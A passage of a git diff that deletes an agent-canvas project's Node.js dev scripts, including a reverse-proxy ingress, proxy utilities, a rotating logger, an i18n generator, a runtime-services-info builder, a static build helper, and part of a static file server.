(best-effort) - try { rmSync(tmpFile, { force: true }); } catch {} - try { rmSync(extractDir, { recursive: true, force: true }); } catch {} - } -} - -main().catch((err) => { - console.error("[download-uv] Error:", err.message); - process.exit(1); -}); diff --git a/scripts/gen-acp-docker-env.mjs b/scripts/gen-acp-docker-env.mjs deleted file mode 100644 index de1ecb0c8..000000000 --- a/scripts/gen-acp-docker-env.mjs +++ /dev/null @@ -1,107 +0,0 @@ -#!/usr/bin/env node -/** - * Generate examples/acp-docker/.env from the single source of truth. - * - * Reads the version pins in config/defaults.json and writes the - * `AGENT_SERVER_IMAGE=` line into examples/acp-docker/.env, pinning the - * example to the exact `versions.agentServer` release. This keeps the - * reproducible quickstart path on the SoT version instead of a hardcoded - * tag that silently drifts below the Canvas compatibility floor - * (compatibility.minimumAgentServer) and renders "Disconnected". - * - * The no-config `docker compose up` path uses the compose fallback - * (`latest-python`, always >= the floor); running this script first pins the - * example to the reproducible SoT version instead. - * - * Idempotent: re-running upserts the AGENT_SERVER_IMAGE line and leaves any - * other lines in an existing .env untouched. - * - * Usage: - * node scripts/gen-acp-docker-env.mjs # or: npm run example:acp-docker:env - */ -import { readFileSync, writeFileSync } from "node:fs"; -import { fileURLToPath, pathToFileURL } from "node:url"; -import { dirname, join } from "node:path"; - -const __dirname = dirname(fileURLToPath(import.meta.url)); -const projectRoot = join(__dirname, ".."); - -/** - * @param {{ images: { agentServer: string }, versions: { agentServer: string } }} config - * @returns {string} e.g. "ghcr.io/openhands/agent-server:1.28.1-python" - */ -export function computeAgentServerImage(config) { - return `${config.images.agentServer}:${config.versions.agentServer}-python`; -} - -/** - * @param {{ images: { agentServer: string }, versions: { agentServer: string } }} config - * @returns {string} the `AGENT_SERVER_IMAGE=` line - */ -export function renderEnvLine(config) { - return `AGENT_SERVER_IMAGE=${computeAgentServerImage(config)}`; -} - -/** - * Upsert the AGENT_SERVER_IMAGE line into an existing .env body, preserving - * every other line. Appends the line if absent. - * @param {string} existing prior .env contents ("" if the file is absent) - * @param {string} line the `AGENT_SERVER_IMAGE=...` line to set - * @returns {string} the updated .env contents - */ -export function upsertEnvLine(existing, line) { - const eq = line.indexOf("="); - if (eq <= 0) { - // A keyless line ("", "novalue", "=value") would make `key` empty and - // match every line — refuse rather than silently rewrite the whole file. - throw new Error( - `upsertEnvLine: expected a "KEY=value" line, got "${line}"`, - ); - } - const key = line.slice(0, eq + 1); // "AGENT_SERVER_IMAGE=" - const lines = existing.length ? existing.replace(/\n+$/, "").split("\n") : []; - let replaced = false; - const next = lines.map((l) => { - if (l.startsWith(key)) { - replaced = true; - return line; - } - return l; - }); - if (!replaced) next.push(line); - return next.join("\n") + "\n"; -} - -function loadConfig() { - return JSON.parse( - readFileSync(join(projectRoot, "config", "defaults.json"), "utf-8"), - ); -} - -function main() { - const config = loadConfig(); - const line = renderEnvLine(config); - const envPath = join(projectRoot, "examples", "acp-docker", ".env"); - - let existing = ""; - try { - existing = readFileSync(envPath, "utf-8"); - } catch { - // no .env yet — create it - } - - const updated = upsertEnvLine(existing, line); - writeFileSync(envPath, updated); - console.log(`Wrote ${line} to examples/acp-docker/.env`); -} - -// Run main() only when invoked as a CLI. process.argv[1] is undefined in some -// ESM contexts (e.g. `node --input-type=module -e "import(...)"`), so guard it -// before pathToFileURL — otherwise importing this module for its exports throws -// ERR_INVALID_ARG_TYPE. -if ( - process.argv[1] && - import.meta.url === pathToFileURL(process.argv[1]).href -) { - main(); -} diff --git a/scripts/ingress.mjs b/scripts/ingress.mjs deleted file mode 100644 index 1c8da3698..000000000 --- a/scripts/ingress.mjs +++ /dev/null @@ -1,255 +0,0 @@ -#!/usr/bin/env node -/** - * Standalone Ingress / Reverse Proxy - * - * A minimal HTTP reverse proxy that routes requests to multiple backends - * based on URL path. Completely independent of any backend implementation. - * - * Usage: - * node scripts/ingress.mjs [options] - * node scripts/ingress.mjs --port 8000 --route "/api/automation=http://localhost:18001" --route "/api=http://localhost:18000" --default "http://localhost:3001" - * - * Environment variables: - * INGRESS_PORT - Port to listen on (default: 8000) - * INGRESS_ROUTES - JSON object of path prefix -> backend URL - * INGRESS_DEFAULT - Default backend for unmatched routes - * - * Route matching: - * - Routes are matched by longest prefix first - * - More specific routes take precedence (e.g., /api/automation before /api) - */ - -import { createServer } from "node:http"; -import process from "node:process"; -import { pathToFileURL } from "node:url"; - -import { - createProxyHandlers, - createRouter, - isBenignSocketError, -} from "./proxy-utils.mjs"; - -// ═══════════════════════════════════════════════════════════════════════════ -// Configuration -// ═══════════════════════════════════════════════════════════════════════════ - -function parseArgs() { - const args = process.argv.slice(2); - const config = { - port: 8000, - routes: {}, - defaultBackend: null, - }; - - for (let i = 0; i < args.length; i++) { - switch (args[i]) { - case "-p": - case "--port": - config.port = parseInt(args[++i], 10); - break; - case "-r": - case "--route": - // Format: "/path=http://host:port" - const [path, url] = args[++i].split("="); - config.routes[path] = url; - break; - case "-d": - case "--default": - config.defaultBackend = args[++i]; - break; - case "-h": - case "--help": - showHelp(); - process.exit(0); - } - } - - return config; -} - -function showHelp() { - console.log(` -Standalone Ingress / Reverse Proxy - -Routes HTTP requests to multiple backends based on URL path prefix. - -USAGE: - node scripts/ingress.mjs [options] - -OPTIONS: - -p, --port Port to listen on (default: 8000) - -r, --route Add a route (can be repeated) - -d, --default Default backend for unmatched routes - -h, --help Show this help - -ENVIRONMENT VARIABLES: - INGRESS_PORT Port to listen on - INGRESS_ROUTES JSON object: {"path": "url", ...} - INGRESS_DEFAULT Default backend URL - -EXAMPLES: - # Basic setup with agent server and automation - node scripts/ingress.mjs \\ - --port 8000 \\ - --route "/api/automation=http://localhost:18001" \\ - --route "/api=http://localhost:18000" \\ - --route "/sockets=http://localhost:18000" \\ - --default "http://localhost:3001" - - # Using environment variables - INGRESS_PORT=8000 \\ - INGRESS_ROUTES='{"/ api/automation":"http://localhost:18001","/api":"http://localhost:18000"}' \\ - INGRESS_DEFAULT="http://localhost:3001" \\ - node scripts/ingress.mjs - -ROUTE MATCHING: - Routes are sorted by path length (longest first), so more specific - routes like /api/automation will match before /api. -`); -} - -function buildConfig(args, env = process.env) { - let routes = { ...args.routes }; - - // Merge env routes - if (env.INGRESS_ROUTES) { - try { - const envRoutes = JSON.parse(env.INGRESS_ROUTES); - routes = { ...routes, ...envRoutes }; - } catch (e) { - console.error("Failed to parse INGRESS_ROUTES:", e.message); - } - } - - return { - port: args.port || parseInt(env.INGRESS_PORT, 10) || 8000, - routes, - defaultBackend: args.defaultBackend || env.INGRESS_DEFAULT || null, - }; -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Server -// ═══════════════════════════════════════════════════════════════════════════ - -export function startIngress(config) { - const route = createRouter(config.routes, config.defaultBackend); - const proxy = createProxyHandlers({ label: `ingress:${config.port}` }); - const uninstallDiagnostics = proxy.installDiagnostics(); - - const server = createServer((req, res) => { - const backend = route(req.url ?? "/"); - - if (!backend) { - res.writeHead(503); - res.end("No backend configured for this route"); - return; - } - - proxy.proxyHttp(req, res, backend); - }); - - // Handle WebSocket upgrades - server.on("upgrade", (req, socket, head) => { - const backend = route(req.url ?? "/"); - - if (!backend) { - socket.destroy(); - return; - } - - proxy.proxyWebSocket(req, socket, head, backend); - }); - - // Built-in protection against malformed client requests that can otherwise - // bubble up as unhandled errors on the underlying TCP socket. - server.on("clientError", (err, socket) => { - if (!isBenignSocketError(err)) { - console.error("Client error:", err.message); - } - if (socket.writable) { - socket.end("HTTP/1.1 400 Bad Request\r\n\r\n"); - } else { - socket.destroy(); - } - }); - server.on("close", uninstallDiagnostics); - - server.listen(config.port, () => { - console.log(""); - console.log( - "╔═══════════════════════════════════════════════════════════════╗", - ); - console.log( - "║ Ingress Proxy ║", - ); - console.log( - "╠═══════════════════════════════════════════════════════════════╣", - ); - console.log( - `║ Listening on: http://localhost:${config.port}/`.padEnd(66) + "║", - ); - console.log( - "╠═══════════════════════════════════════════════════════════════╣", - ); - console.log( - "║ Routes: ║", - ); - - const sortedRoutes = Object.entries(config.routes).sort( - ([a], [b]) => b.length - a.length, - ); - for (const [path, backend] of sortedRoutes) { - const line = ` ${path} → ${backend}`; - console.log(`║ ${line.padEnd(61)}║`); - } - - if (config.defaultBackend) { - const line = ` * (default) → ${config.defaultBackend}`; - console.log(`║ ${line.padEnd(61)}║`); - } - - console.log( - "║ ║", - ); - console.log( - "╚═══════════════════════════════════════════════════════════════╝", - ); - console.log(""); - }); - - return server; -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Main -// ═══════════════════════════════════════════════════════════════════════════ - -const isMainModule = - process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href; - -if (isMainModule) { - const args = parseArgs(); - const config = buildConfig(args); - - if (Object.keys(config.routes).length === 0 && !config.defaultBackend) { - console.error( - "Error: No routes configured. Use --route or --default options.", - ); - console.error("Run with --help for usage information."); - process.exit(1); - } - - startIngress(config); - - // Handle graceful shutdown - process.on("SIGINT", () => { - console.log("\nShutting down..."); - process.exit(0); - }); - - process.on("SIGTERM", () => { - console.log("\nShutting down..."); - process.exit(0); - }); -} diff --git a/scripts/logger.mjs b/scripts/logger.mjs deleted file mode 100644 index 3710952f1..000000000 --- a/scripts/logger.mjs +++ /dev/null @@ -1,106 +0,0 @@ -/** - * Shared file logger for agent-canvas dev scripts. - * - * Writes log output to a daily-rotating file under - * /logs/agent-canvas.YYYY-MM-DD.log (7-day retention) alongside - * the existing console output (which is unchanged). - * - * winston is loaded dynamically and treated as optional: when it isn't - * resolvable — most importantly inside the packaged Electron desktop app, - * whose `afterPack` hook strips `Resources/app/node_modules/` — `fileLog` - * becomes a no-op and console logging continues to work unchanged. See - * AGENTS.md "Electron desktop packaging" for the strip-hook details. - */ - -import { mkdirSync } from "node:fs"; -import { homedir } from "node:os"; -import { join } from "node:path"; -import process from "node:process"; - -// Mirror the state-directory logic from dev-safe.mjs so log files live -// alongside all other agent-canvas runtime state (e.g. ~/.openhands/agent-canvas). -// The same env var (OH_CANVAS_SAFE_STATE_DIR) overrides both. -const stateDir = - process.env.OH_CANVAS_SAFE_STATE_DIR || - join(homedir(), ".openhands", "agent-canvas"); -const logDir = join(stateDir, "logs"); - -// Matches any ANSI CSI escape sequence (colors, cursor movement, etc.). -const ANSI_RE = /\x1b\[[0-9;]*m/g; - -/** - * Remove ANSI escape codes so log files contain clean plain text. - * @param {string} str - * @returns {string} - */ -export function stripAnsi(str) { - return typeof str === "string" ? str.replace(ANSI_RE, "") : String(str); -} - -/** - * Attempt to construct a winston-backed file logger. Returns `null` if - * winston isn't installed (packaged desktop app) or any setup step fails; - * `fileLog` then degrades to a no-op. - * - * @returns {Promise} - */ -async function createFileLogger() { - let winston; - let DailyRotateFileMod; - try { - winston = await import("winston"); - DailyRotateFileMod = await import("winston-daily-rotate-file"); - } catch { - return null; - } - - try { - mkdirSync(logDir, { recursive: true }); - - const DailyRotateFile = - DailyRotateFileMod.default ?? DailyRotateFileMod; - const fileTransport = new DailyRotateFile({ - dirname: logDir, - filename: "agent-canvas.%DATE%.log", - datePattern: "YYYY-MM-DD", - maxFiles: "7d", - auditFile: join(logDir, ".log-audit.json"), - createSymlink: false, - }); - - const logger = winston.createLogger({ - level: "debug", - format: winston.format.combine( - winston.format.timestamp({ format: "YYYY-MM-DD HH:mm:ss" }), - winston.format.printf( - ({ timestamp, level, message }) => - `${timestamp} [${level.toUpperCase().padEnd(5)}] ${message}`, - ), - ), - transports: [fileTransport], - }); - - // Swallow any transport-level errors (e.g. disk full) so a logging - // failure never crashes the dev server. - logger.on("error", () => {}); - fileTransport.on("error", () => {}); - return logger; - } catch { - return null; - } -} - -const fileLogger = await createFileLogger(); - -/** - * Write a message to the rotating log file. No-ops when winston isn't - * available (e.g. the packaged desktop app). ANSI escape codes are - * stripped automatically; console output is unaffected. - * - * @param {'info' | 'warn' | 'error' | 'debug'} level - * @param {string} message - */ -export function fileLog(level, message) { - if (!fileLogger) return; - fileLogger.log(level, stripAnsi(message)); -} diff --git a/scripts/make-i18n-translations.cjs b/scripts/make-i18n-translations.cjs deleted file mode 100644 index cefd1c9cb..000000000 --- a/scripts/make-i18n-translations.cjs +++ /dev/null @@ -1,53 +0,0 @@ -const fs = require("fs"); -const path = require("path"); -const i18n = require("../src/i18n/translation.json"); - -const namespace = "openhands"; - -// { [lang]: { [key]: content } } -const translationMap = {}; - -Object.entries(i18n).forEach(([key, transMap]) => { - Object.entries(transMap).forEach(([lang, content]) => { - if (!translationMap[lang]) { - translationMap[lang] = {}; - } - translationMap[lang][key] = content; - }); -}); - -// remove old locales directory -const localesPath = path.join(__dirname, "../public/locales"); -if (fs.existsSync(localesPath)) { - fs.rmSync(localesPath, { recursive: true }); -} - -// write translation files -Object.entries(translationMap).forEach(([lang, transMap]) => { - const filePath = path.join( - __dirname, - `../public/locales/${lang}/${namespace}.json`, - ); - if (!fs.existsSync(filePath)) { - fs.mkdirSync(path.dirname(filePath), { recursive: true }); - } - fs.writeFileSync(filePath, JSON.stringify(transMap, null, 2)); -}); - -// write translation key enum -const transKeys = Object.keys(translationMap.en); -const transKeyDeclareFilePath = path.join( - __dirname, - "../src/i18n/declaration.ts", -); -if (!fs.existsSync(transKeyDeclareFilePath)) { - fs.mkdirSync(path.dirname(transKeyDeclareFilePath), { recursive: true }); -} -fs.writeFileSync( - transKeyDeclareFilePath, - ` -// this file generate by script, don't modify it manually!!! -export enum I18nKey { -${transKeys.map((key) => ` ${key} = "${key}",`).join("\n")} -}`.trim() + "\n", -); diff --git a/scripts/proxy-utils.mjs b/scripts/proxy-utils.mjs deleted file mode 100644 index 04d308fd5..000000000 --- a/scripts/proxy-utils.mjs +++ /dev/null @@ -1,171 +0,0 @@ -import { createProxyServer } from "httpxy"; - -const DEFAULT_PROXY_TIMEOUT_MS = 120_000; -const BENIGN_SOCKET_ERRORS = new Set([ - "ECONNRESET", - "EPIPE", - "ECONNABORTED", - "ERR_STREAM_PREMATURE_CLOSE", -]); - -export function matchesPathPrefix(url, prefix) { - return ( - url === prefix || - url.startsWith(prefix + "/") || - url.startsWith(prefix + "?") - ); -} - -export function createRouter(routes, defaultBackend = null) { - const sortedRoutes = Object.entries(routes).sort( - ([a], [b]) => b.length - a.length, - ); - - return function route(url) { - for (const [prefix, backend] of sortedRoutes) { - if (matchesPathPrefix(url, prefix)) { - return backend; - } - } - return defaultBackend; - }; -} - -export function isBenignSocketError(err) { - return Boolean(err && BENIGN_SOCKET_ERRORS.has(err.code)); -} - -function once(fn) { - let called = false; - return (...args) => { - if (called) return; - called = true; - fn(...args); - }; -} - -function writeProxyError(res, message) { - if (res.destroyed) return; - if (!res.headersSent) { - res.writeHead(502, { "Content-Type": "text/plain; charset=utf-8" }); - res.end(`Bad Gateway: ${message}`); - return; - } - res.destroy(); -} - -export function createProxyHandlers({ - label = "proxy", - timeout = DEFAULT_PROXY_TIMEOUT_MS, - proxyTimeout = DEFAULT_PROXY_TIMEOUT_MS, -} = {}) { - const proxy = createProxyServer({ - ws: true, - changeOrigin: true, - xfwd: true, - timeout, - proxyTimeout, - }); - const metrics = { - activeHttpRequests: 0, - activeWebSockets: 0, - totalHttpRequests: 0, - totalWebSockets: 0, - totalErrors: 0, - }; - - proxy.on("error", (err, _req, resOrSocket, target) => { - metrics.totalErrors += 1; - const targetText = target ? ` -> ${target}` : ""; - if (!isBenignSocketError(err)) { - console.error(`[${label}] Proxy error${targetText}: ${err.message}`); - } - if (resOrSocket && typeof resOrSocket.writeHead === "function") { - writeProxyError(resOrSocket, err.message); - } else if (resOrSocket && typeof resOrSocket.destroy === "function") { - resOrSocket.destroy(); - } - }); - - function proxyHttp(req, res, target) { - metrics.activeHttpRequests += 1; - metrics.totalHttpRequests += 1; - const finish = once(() => { - metrics.activeHttpRequests = Math.max(0, metrics.activeHttpRequests - 1); - }); - res.on("close", finish); - res.on("finish", finish); - res.on("error", finish); - - proxy.web(req, res, { target }).catch((err) => { - metrics.totalErrors += 1; - if (!isBenignSocketError(err)) { - console.error( - `[${label}] Proxy error for ${req.url} -> ${target}:`, - err, - ); - } - writeProxyError(res, err instanceof Error ? err.message : String(err)); - finish(); - }); - } - - function proxyWebSocket(req, socket, head, target) { - metrics.activeWebSockets += 1; - metrics.totalWebSockets += 1; - const finish = once(() => { - metrics.activeWebSockets = Math.max(0, metrics.activeWebSockets - 1); - }); - socket.on("close", finish); - socket.on("error", finish); - - try { - proxy.ws(req, socket, { target }, head).catch((err) => { - metrics.totalErrors += 1; - if (!isBenignSocketError(err)) { - console.error( - `[${label}] WebSocket proxy error for ${req.url} -> ${target}:`, - err, - ); - } - socket.destroy(); - finish(); - }); - } catch (err) { - metrics.totalErrors += 1; - if (!isBenignSocketError(err)) { - console.error( - `[${label}] WebSocket proxy error for ${req.url} -> ${target}:`, - err, - ); - } - socket.destroy(); - finish(); - } - } - - function dumpMetrics() { - console.log( - `[${label}] active_http=${metrics.activeHttpRequests} ` + - `active_ws=${metrics.activeWebSockets} ` + - `total_http=${metrics.totalHttpRequests} ` + - `total_ws=${metrics.totalWebSockets} ` + - `total_errors=${metrics.totalErrors}`, - ); - } - - function installDiagnostics(signal = "SIGUSR1") { - process.on(signal, dumpMetrics); - return () => { - process.off(signal, dumpMetrics); - }; - } - - return { - proxyHttp, - proxyWebSocket, - dumpMetrics, - installDiagnostics, - metrics, - }; -} diff --git a/scripts/run-staged-typecheck.mjs b/scripts/run-staged-typecheck.mjs deleted file mode 100644 index 96baef01e..000000000 --- a/scripts/run-staged-typecheck.mjs +++ /dev/null @@ -1,44 +0,0 @@ -#!/usr/bin/env node -import { spawnSync } from "node:child_process"; -import { existsSync } from "node:fs"; -import { dirname, join } from "node:path"; - -function getNpmInvocation() { - if (process.platform !== "win32") { - return { command: "npm", args: ["run", "typecheck:staged"] }; - } - - const npmCliPath = - process.env.npm_execpath ?? - join(dirname(process.execPath), "node_modules", "npm", "bin", "npm-cli.js"); - - if (existsSync(npmCliPath)) { - return { - command: process.execPath, - args: [npmCliPath, "run", "typecheck:staged"], - }; - } - - return { - command: process.env.ComSpec ?? "cmd.exe", - args: ["/d", "/s", "/c", "npm run typecheck:staged"], - }; -} - -const { command, args } = getNpmInvocation(); - -const result = spawnSync(command, args, { - stdio: "inherit", - windowsHide: true, -}); - -if (result.error) { - throw result.error; -} - -if (result.signal) { - console.error(`typecheck:staged terminated by signal ${result.signal}`); - process.exit(1); -} - -process.exit(result.status ?? 1); diff --git a/scripts/runtime-services-info.mjs b/scripts/runtime-services-info.mjs deleted file mode 100644 index b3b80b62d..000000000 --- a/scripts/runtime-services-info.mjs +++ /dev/null @@ -1,199 +0,0 @@ -/** - * Single source of truth for the `` block. - * - * Builds a structured description of the services that are reachable from - * inside the agent's sandbox. The frontend forwards it (verbatim, as a JSON - * string) and renders it into the system prompt via - * `AgentContext.system_message_suffix`, so the agent sees a - * `` block listing what's available without having to probe. - * - * Two callers share this one definition: - * - the dev launchers (scripts/dev-*.mjs), which know the stack as a set of - * ports and bake the result into `VITE_RUNTIME_SERVICES_INFO` at build time; - * - docker/entrypoint.sh, which runs this file as a CLI (see the bottom of - * this module) because in a container the URLs are *runtime* config — the - * ports and base URLs are overridable at `docker run` and therefore cannot - * be baked into the image at build time. The JSON it prints is injected - * into index.html at serve time by scripts/static-server.mjs. - * - * URLs are written from the *agent's* point of view (i.e. as the agent should - * curl/fetch them from inside its sandbox), which is deliberately not the - * browser's point of view. - */ - -import process from "node:process"; -import { pathToFileURL } from "node:url"; - -/** - * @param {object} options - * @param {string} [options.mode] - Human-readable mode label (e.g. "dev:safe"). - * @param {string} [options.agentHostAlias="localhost"] - Hostname the agent - * uses to reach host-side services (ingress, frontend, port-derived - * automation). Also surfaced as `agent_host_alias`. - * @param {number} [options.agentServerPort] - Port the agent-server listens on. - * Used to derive the agent_server URL when `agentServerUrl` is not given. - * @param {string} [options.agentServerUrl] - Explicit agent_server URL, from - * the agent's POV. Takes precedence over `agentServerPort`; used by the - * Docker image, which serves over `127.0.0.1` to avoid IPv6 loopback issues - * and honors an overridable `AGENT_SERVER_URL`. One of `agentServerUrl` / - * `agentServerPort` is required (else the URL would be `:undefined`). - * @param {number} [options.ingressPort] - Ingress port (omit if no ingress). - * @param {number} [options.frontendPort] - Frontend port (Vite dev server - * or static-file server). Omit if no frontend is exposed. - * @param {number} [options.vitePort] - Deprecated alias for `frontendPort`, - * accepted for backward compat with older launchers. Remove after one release. - * @param {"vite"|"static"} [options.frontendKind="vite"] - Whether the - * frontend port hosts Vite or a static build. Only affects the description. - * @param {object} [options.automation] - Automation backend info. Skipped - * entirely unless `.url` or `.port` is provided, so passing `{}` is safe. - * @param {string} [options.automation.url] - Explicit automation base URL, from - * the agent's POV. Takes precedence over `.port`; used by the Docker image to - * honor an overridable `AUTOMATION_BASE_URL`. - * @param {number} [options.automation.port] - Automation backend port (used to - * derive the base URL when `.url` is not given). - * @param {string} [options.automation.apiPrefix="/api/automation"] - Path - * prefix all automation routes are mounted under. - * @param {string} [options.automation.authEnvVar="OPENHANDS_AUTOMATION_API_KEY"] - * - Env var holding the API key. - * @returns {object} A JSON-serializable runtime services info object. - */ -export function buildRuntimeServicesInfo(options) { - const { - mode, - agentHostAlias = "localhost", - agentServerPort, - agentServerUrl, - ingressPort, - // Accept legacy `vitePort` for one release so external callers keep working. - vitePort, - frontendPort = vitePort, - frontendKind = "vite", - automation, - } = options; - - // Prefer an explicit URL (containers reach the agent-server over a specific - // host/scheme), else derive it from the port. From the agent's POV the - // agent-server it's *inside* is on the loopback host, regardless of where - // the host machine is. - const agentServerUrlResolved = - agentServerUrl ?? - (agentServerPort != null ? `http://localhost:${agentServerPort}` : null); - if (!agentServerUrlResolved) { - // Without this the URL becomes `http://localhost:undefined` and ends up - // verbatim in the agent's system prompt, which is worse than failing fast. - throw new Error( - "buildRuntimeServicesInfo: agentServerPort or agentServerUrl is required " + - "(otherwise the agent_server URL would be `http://localhost:undefined`).", - ); - } - - const services = { - agent_server: { - description: - "The OpenHands Agent Server this agent is running inside. " + - "Tool calls (terminal, file_editor, browser, etc.) execute here.", - url_from_agent: agentServerUrlResolved, - }, - }; - - if (ingressPort !== undefined) { - services.ingress = { - description: - "Unified entry point. Routes /api/automation/* to the automation " + - "backend, /api/* and /sockets to the agent-server, and /* to the " + - "frontend.", - url_from_agent: `http://${agentHostAlias}:${ingressPort}`, - }; - } - - if (frontendPort !== undefined) { - services.frontend = { - kind: frontendKind, - description: - frontendKind === "static" - ? "Static-file server hosting the agent-canvas production build." - : "Vite dev server hosting the agent-canvas frontend.", - url_from_agent: `http://${agentHostAlias}:${frontendPort}`, - }; - } - - // Prefer an explicit base URL, else derive from the port. Require one of the - // two so we don't bake `:undefined` into the URL when the caller passes - // `automation: {}`. - const automationBaseUrl = - automation?.url ?? - (automation?.port != null - ? `http://${agentHostAlias}:${automation.port}` - : null); - if (automationBaseUrl) { - const apiPrefix = automation.apiPrefix ?? "/api/automation"; - const authEnvVar = automation.authEnvVar ?? "OPENHANDS_AUTOMATION_API_KEY"; - services.automation = { - description: - "OpenHands Automations service. All routes are mounted under " + - `'${apiPrefix}'. Authenticate with header ` + - `'X-Session-API-Key: $${authEnvVar}'.`, - url_from_agent: automationBaseUrl, - api_prefix: apiPrefix, - docs_url: `${automationBaseUrl}${apiPrefix}/docs`, - openapi_url: `${automationBaseUrl}${apiPrefix}/openapi.json`, - auth_env_var: authEnvVar, - }; - } - - return { - mode, - agent_host_alias: agentHostAlias, - services, - }; -} - -// ───────────────────────────────────────────────────────────────────────────── -// CLI — used by docker/entrypoint.sh to emit the JSON at container startup. -// ───────────────────────────────────────────────────────────────────────────── - -export function parseArgs(argv) { - const options = { automation: {} }; - for (let i = 0; i < argv.length; i++) { - const flag = argv[i]; - switch (flag) { - case "--mode": - options.mode = argv[++i]; - break; - case "--agent-host-alias": - options.agentHostAlias = argv[++i]; - break; - case "--agent-server-url": - options.agentServerUrl = argv[++i] || undefined; - break; - case "--automation-url": - options.automation.url = argv[++i] || undefined; - break; - case "--automation-api-prefix": - options.automation.apiPrefix = argv[++i]; - break; - case "--automation-auth-env": - options.automation.authEnvVar = argv[++i]; - break; - default: - throw new Error(`Unknown flag: ${flag}`); - } - } - // Omit the automation entry entirely when no URL was supplied, rather than - // advertising a backend the agent cannot reach. - if (!options.automation.url) delete options.automation; - return options; -} - -const isMainModule = - process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href; - -if (isMainModule) { - try { - const options = parseArgs(process.argv.slice(2)); - process.stdout.write(JSON.stringify(buildRuntimeServicesInfo(options))); - } catch (err) { - console.error(err instanceof Error ? err.message : err); - process.exit(1); - } -} diff --git a/scripts/static-build.mjs b/scripts/static-build.mjs deleted file mode 100644 index 0679575eb..000000000 --- a/scripts/static-build.mjs +++ /dev/null @@ -1,82 +0,0 @@ -import { spawnSync } from "node:child_process"; -import { existsSync } from "node:fs"; -import { join } from "node:path"; - -import { - buildAutomationRuntimeServicesInfo, - c, - logError, - logService, - logStep, - logSuccess, -} from "./dev-with-automation.mjs"; -import { buildNpmScriptCommand } from "./dev-safe.mjs"; - -export function buildFrontend(config, args = {}) { - const buildDir = join(config.canvasPath, "build"); - - if (args.skipBuild) { - if (!existsSync(buildDir)) { - logError( - "--skip-build was passed but build/ does not exist. Run without --skip-build first.", - ); - process.exit(1); - } - logStep("build", "Skipping frontend build (--skip-build)"); - logService("build", `Reusing existing build/ at ${buildDir}`, c.dim); - logService( - "build", - "Source edits will NOT appear until you run without --skip-build (or `npm run build`).", - c.yellow, - ); - return; - } - - logStep("build", "Building frontend (npm run build:app)..."); - logService( - "build", - "This typically takes 30-60s; cached as build/ for --skip-build reuse", - c.dim, - ); - - const cmd = buildNpmScriptCommand("build:app"); - const buildEnv = { - ...process.env, - // Bake the session API key — used by the frontend for both agent-server - // and automation auth via the `X-Session-API-Key` header. - VITE_SESSION_API_KEY: config.sessionApiKey, - // Bake a description of the runtime services in this dev stack so the - // frontend can populate the agent's system-prompt - // block when creating a conversation. - VITE_RUNTIME_SERVICES_INFO: JSON.stringify( - buildAutomationRuntimeServicesInfo(config), - ), - // Intentionally do NOT set VITE_BACKEND_BASE_URL: leaving it unset makes - // the runtime fall back to window.location.origin, which keeps the build - // portable across localhost, LAN hosts, and tunnels such as ngrok. - }; - if (config.viteWorkingDir) { - buildEnv.VITE_WORKING_DIR = config.viteWorkingDir; - } - - const result = spawnSync(cmd.command, cmd.args, { - cwd: config.canvasPath, - stdio: "inherit", - env: buildEnv, - }); - - if (result.status !== 0) { - logError(`Build failed with exit code ${result.status ?? "null"}`); - process.exit(result.status ?? 1); - } - - if (!existsSync(join(buildDir, "index.html"))) { - logError( - `Build completed but ${join(buildDir, "index.html")} is missing. ` + - "Did react-router build write somewhere unexpected?", - ); - process.exit(1); - } - - logSuccess("Build complete"); -} diff --git a/scripts/static-server.mjs b/scripts/static-server.mjs deleted file mode 100644 index 4feb41c06..000000000 --- a/scripts/static-server.mjs +++ /dev/null @@ -1,636 +0,0 @@ -/** - * Combined static file server + reverse proxy. - * - * Replaces `sirv-cli` for the static launcher. The reason a plain static - * server is not enough: Vite's dev server (used by `npm run dev`) configures - * a proxy for `/api`, `/sockets`, `/server_info`, `/alive`, `/health`, - * `/ready`, `/docs`, `/redoc`, `/openapi.json` (see vite.config.ts) so - * requests to those paths are forwarded to - * the agent-server even when the browser is hitting Vite directly on :3001. - * sirv-cli has no proxy support, so under `--single` it falls back to - * index.html for any of those paths — making `/server_info` look like HTML - * to the SPA when the user hits the static port directly (e.g. via a tunnel - * that exposes :3001). - * - * This script provides Vite-equivalent behaviour: serve static files from - * --dir, fall back to index.html for HTML navigations, and reverse-proxy - * configured prefixes to upstream backends. The proxy + WebSocket logic is - * deliberately kept identical in spirit to scripts/ingress.mjs so the two - * servers route the same way. - * - * Usage (mirrors scripts/ingress.mjs's --route flag style): - * node scripts/static-server.mjs \ - * --port 3001 --dir build \ - * --route "/api/automation=http://localhost:18001" \ - * --route "/api=http://localhost:18000" \ - * --route "/server_info=http://localhost:18000" \ - * --route "/sockets=http://localhost:18000" - */ - -import { createServer } from "node:http"; -import { readFile } from "node:fs/promises"; -import { extname, resolve } from "node:path"; -import process from "node:process"; -import { pathToFileURL } from "node:url"; -import sirv from "sirv"; - -import { - createProxyHandlers, - createRouter, - matchesPathPrefix, -} from "./proxy-utils.mjs"; - -// ───────────────────────────────────────────────────────────────────────────── -// SPA fallback helpers -// ───────────────────────────────────────────────────────────────────────────── - -const ASSET_LIKE_EXTENSIONS = new Set([ - ".br", - ".css", - ".gif", - ".gz", - ".html", - ".htm", - ".ico", - ".jpeg", - ".jpg", - ".js", - ".json", - ".map", - ".mjs", - ".mp3", - ".png", - ".svg", - ".ttf", - ".txt", - ".wav", - ".webmanifest", - ".webp", - ".woff", - ".woff2", - ".xml", -]); - -// ───────────────────────────────────────────────────────────────────────────── -// Args -// ───────────────────────────────────────────────────────────────────────────── - -export function parseArgs(argv = process.argv.slice(2)) { - const config = { - port: 3001, - host: "::", - dir: "build", - routes: {}, - rejectPrefixes: [], - sessionApiKey: null, - authRequired: false, - runtimeServicesInfo: null, - lockToCloud: null, - basePath: "/", - }; - - for (let i = 0; i < argv.length; i++) { - const flag = argv[i]; - switch (flag) { - case "-p": - case "--port": - config.port = Number.parseInt(argv[++i], 10); - break; - case "-H": - case "--host": - config.host = argv[++i]; - break; - case "-d": - case "--dir": - config.dir = argv[++i]; - break; - case "-r": - case "--route": { - const value = argv[++i]; - const eq = value.indexOf("="); - if (eq < 0) { - throw new Error(`Invalid --route (expected /prefix=url): ${value}`); - } - const prefix = value.slice(0, eq); - const url = value.slice(eq + 1); - if (!prefix.startsWith("/")) { - throw new Error(`--route prefix must start with '/': 